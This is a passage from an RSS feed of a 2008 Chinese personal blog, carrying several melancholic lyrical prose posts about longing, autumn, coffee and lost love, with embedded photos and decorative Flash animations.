那些花瓣静静的开着，落英纷飞，片片都是真情。似是染上了相思，先是淡淡，慢慢转浓，一丝丝、一点点，渐渐斑驳，及至苍白如雪、鬓染秋霜。指间的文字苍白，无力的倾诉着。云渺渺，水苍苍，远在天涯，却是如此真切。girl，你的裙带在风中飘摇着，无依无靠，眼中有泪有笑，眉角似喜似忧。依是风情万种的女子。boy，你的琴声瑟瑟，狂勒着不堪诉着离墒，弄情愁，优兴亡。甘做安静的男子。相望中，能有多少泪珠儿？ 怎经得秋流到冬尽，春流到夏！叫人焉得不伤悲！</span><wbr /></span><wbr /> <br><wbr /><a href="http://sz3.photo.store.qq.com/http_imgload.cgi?/rurl4_b=bac5ac4042263d8def63b34ad9e5dfdf223e6e77b777befbf49cabfe9e7def979a23c6685684e64b9c2f26ec7b6974eead7e58837837daf82c62ee70418716f2f3a6d281e371da0e9578d87134f11aa5bde9ade1" target="_blank"><img style="border:0;" src="http://sz3.photo.store.qq.com/http_imgload.cgi?/rurl4_b=bac5ac4042263d8def63b34ad9e5dfdf223e6e77b777befbf49cabfe9e7def979a23c6685684e64b9c2f26ec7b6974eead7e58837837daf82c62ee70418716f2f3a6d281e371da0e9578d87134f11aa5bde9ade1" /></a><wbr /> <br><br><br><span style="font-weight:bold"><wbr /><span style="color:#008080;font-size:24px;line-height:1.8em;">            沉淀了很长一段时间的思绪，听了很长一段时间的歌，走了很长一段时间的路。以为可以忘记一些冗杂的东西了，原来还是没有。一直认为，音乐和文字是神奇的东西。忧伤的句子，悲伤的旋律让人很是沉溺。让人依生依死，依幸福依痛苦，几端轮回，终割舍不下。愿，缘深之人，落笔生花，朵朵情深。。。</span><wbr /></span><wbr /> <br><wbr /><a href="http://sz6.photo.store.qq.com/http_imgload.cgi?/rurl4_b=bac5ac4042263d8def63b34ad9e5dfdf42d09ae12e4d99d418d227ad50afc8aaad78827ee04d5895684e3e71f03b2e8132b83eb2fe0b69dc5d69f940d04a1fcb933e93c4297537afe71a5eb1387aec42aea11813" target="_blank"><img style="border:0;" src="http://sz6.photo.store.qq.com/http_imgload.cgi?/rurl4_b=bac5ac4042263d8def63b34ad9e5dfdf42d09ae12e4d99d418d227ad50afc8aaad78827ee04d5895684e3e71f03b2e8132b83eb2fe0b69dc5d69f940d04a1fcb933e93c4297537afe71a5eb1387aec42aea11813" /></a><wbr /> <br> <!--v:3.2--> ]]></description>
<category><![CDATA[咖啡情愫]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1221198751#comment</comments>
<qz:effect>513</qz:effect>
<pubDate>Fri, 12 Sep 2008 05:52:31 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1221198751</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1220034860</link>
<description><![CDATA[       <br><span style="color:#ffffff;font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />                  秋风正紧，眼下正凉。已觉秋窗秋不尽，那堪风雨助凄凉！惯看花开，今又花谢。忆什么十年生死，恨什么银河迢迢，念什么花落水流红，哀什么落红有意，流水无情。大丈夫岂是那般无骨之男。生前心已碎，死后性空灵。叹人世，终艰难。月明星稀，孤苦谁知。月亮有泪，星星有辞。枉世人凭浮词吊离骚。终有个人散各奔腾，枉费了，一片痴心。便是鹊桥相会，却又与这般离别。浮华又起，纵有万般无奈，依不沉沦。琴声瑟瑟，鼓声幽幽，落一个天凉好个秋。菊花正浓。风似传花香，有意惹离别。说什么，妾有意，天配鸳鸯。信什么，郎有情，永结连理。而今散去，化与风听。君去也，奴莫牵。莫怕两地相隔，断了思量。待倦鸟归林时，比翼齐飞。犹不知何时，可落地生根。岁岁种桃花，开在断肠时，天可怜见。不思量，自难忘。独上高楼，忆，生死不渝，忠贞不离。望尽天涯路，心，却已是百丈谰冰。试看春惨花渐落，花落人亡两不知。。。。</span><wbr /></span><wbr /> <br><br><wbr /><a href="http://sz.photo.store.qq.com/rurl2=f8deba665291670a01c1366ef8c1eb036dcbcb895daefad0fe8a31cb50375fc6ac7cac737fd07ea165858e366dd7b04a4bd913f4c28b89e392dad1832fe8d1ac05a46f9fd272ccfb658f8c21207bdc42a96a76da" target="_blank"><img style="border:0;" src="http://sz.photo.store.qq.com/rurl2=f8deba665291670a01c1366ef8c1eb036dcbcb895daefad0fe8a31cb50375fc6ac7cac737fd07ea165858e366dd7b04a4bd913f4c28b89e392dad1832fe8d1ac05a46f9fd272ccfb658f8c21207bdc42a96a76da" /></a><wbr /> <br><br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="800" height="800" id="flash0" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:0px; top:0px;" src="http://imgfree.21cn.com/free/flash/187.swf" /> <br><br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="880" height="1200" id="flash1" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:0px; top:0px;" src="http://imgfree.21cn.com/free/flash/155.swf" /> <br><br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="800" height="800" id="flash2" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:10px; top:10px;" src="http://imgfree.21cn.com/free/flash/6.swf" /> <br><br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="800" height="800" id="flash3" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:10px; top:10px;" src="http://imgfree.21cn.com/free/flash/33.swf" /> <br><br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="800" height="800" id="flash4" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:10px; top:10px;" src="http://imgfree.21cn.com/free/flash/27.swf" /> <br><br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="600" height="600" id="flash5" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:0px; top:0px;" src="http://imgfree.21cn.com/free/flash/130.swf" /> <br><br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="800" height="600" id="flash6" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:0px; top:0px;" src="http://imgfree.21cn.com/free/flash/186.swf" /> <br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="680" height="1000" id="flash7" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:5px; top:10px;" src="http://imgfree.21cn.com/free/flash/159.swf" /> <br><br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" wmode="transparent" menu="false" width="800" height="800" id="flash8" type="application/octet-stream" wmode="transparent" quality="high" style="position: absolute; left:0px; top:0px;" src="http://imgfree.21cn.com/free/flash/61.swf" />   <br><br> <!--v:3.2--> ]]></description>
<category><![CDATA[咖啡情愫]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1220034860#comment</comments>
<qz:effect>4609</qz:effect>
<pubDate>Fri, 29 Aug 2008 18:34:20 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1220034860</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1219395899</link>
<description><![CDATA[<br><br><br><span style="font-weight:bold"><wbr /><span style="color:#ccffff;font-size:32px;line-height:1.8em;">          品着香茗，恋着咖啡。一个人的日子，总是喜欢喝茶。苦苦的味道，抵着舌尖，触着味蕾。喜欢苦丁，犹如咖啡的味道，苦苦的，涩涩的，淡淡的香味。收音机里传来忧伤的音乐，诉说着夜晚的主题：一个人的生活。淡淡的忧郁，丝丝的愁，缕缕忧伤掠过心头。冲一杯咖啡，久违了的苦涩甘美。那个咖啡加盐的爱情，有咖啡的味道，有爱情的味道，有眼泪的味道。 <br>         人生不止，寂寞不己。夜，凉如水。风是静的，云是轻的。夏天走了，秋天又来，来去之间，是不经意的匆匆。风吹起如花般破碎的流年，看季节深深的暗影。 忍耐着寂寞，看它慢慢割舍成伤。早盼，倾心相遇。谁知，聚日苦短。为这缘，绾结同心。而今，伶仃长夜，芭蕉落雨，入耳尽是滴滴密密的哀愁。物事人非，岂堪留恋。愿，千滴白露落成莲，并蒂花开。 <br>         怀抱吉他，声音就象一条河，左岸是我无法忘却的回忆，右岸是我值得紧握的璀璨年华，中间流淌的，是我年年岁岁淡淡的感伤。浮华如梦，青春是一道明媚的忧伤，我没哭,可是眼泪流下来了。 那些以前说着永不分离的人，早已经散落在天涯。若不回头，何必不忘；既然无缘，何需誓言；今日种种，似水无痕，明夕何夕，伊人陌路。惯看花开花又谢，却怕缘起缘又灭。 挥泪别痴心，愿上苍垂怜，不诉离殇。 <br>        此去经年，慌如隔世。凝伫久，向回首，思渺难收。回望故里，渐行渐远。也许，也许，该，遥望天堂，许下幸福......</span><wbr /></span><wbr /> <br><br><wbr /><a href="http://sz.photo.store.qq.com/rurl2=ab015ff9cb5fefa1c7e247c576590aa073012318a3e89e433b1e71240f134282291bfd482550d4084aa8468b460e6307d3fbaf4747c8fdcb9ab25bf0352efefbef6163a66bee37bd6e57f777c3cf80bb6fc7d04d" target="_blank"><img style="border:0;" src="http://sz.photo.store.qq.com/rurl2=ab015ff9cb5fefa1c7e247c576590aa073012318a3e89e433b1e71240f134282291bfd482550d4084aa8468b460e6307d3fbaf4747c8fdcb9ab25bf0352efefbef6163a66bee37bd6e57f777c3cf80bb6fc7d04d" /></a><wbr /> <br> <!--v:3.2--> ]]></description>
<category><![CDATA[咖啡情愫]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1219395899#comment</comments>
<qz:effect>513</qz:effect>
<pubDate>Fri, 22 Aug 2008 09:04:59 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1219395899</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1218857903</link>
<description><![CDATA[<span style="font-weight:bold"><wbr /><span style="font-size:32px;line-height:1.8em;">``</span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[咖啡情愫]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1218857903#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Sat, 16 Aug 2008 03:38:23 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1218857903</guid>
</item>

<item>
<title><![CDATA[。。。。。。。。。]]></title>
<link>http://383097531.qzone.qq.com/blog/1214455940</link>
<description><![CDATA[<span style="color:#000000;font-size:32px;line-height:1.8em;"><span style="font-weight:bold"><wbr />      。。。盛夏孤寂，溃已成殇。。。 <br>     <br>猫生病了，老鼠大声讲着笑话，默默的祈祷着；猫生病了，老鼠慢慢拨弄吉他，轻唱忧郁的歌；猫生病了，老鼠倚在窗边欣赏夜色，并对流星许愿；猫生病了，老鼠也病了，它说：“我还是习惯那种时时紧张、处处小心、夜夜逃亡的生活。”午夜，我听到老鼠在叹息，且不再追逐爱情……</span><wbr /></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[咖啡情愫]]></category>
<author><![CDATA[383097531@qq.com(Morning！)]]></author>
<comments>http://383097531.qzone.qq.com/blog/1214455940#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Thu, 26 Jun 2008 04:52:20 GMT</pubDate>
<guid>http://383097531.qzone.qq.com/blog/1214455940</guid>
</item>

</channel>
</rss>

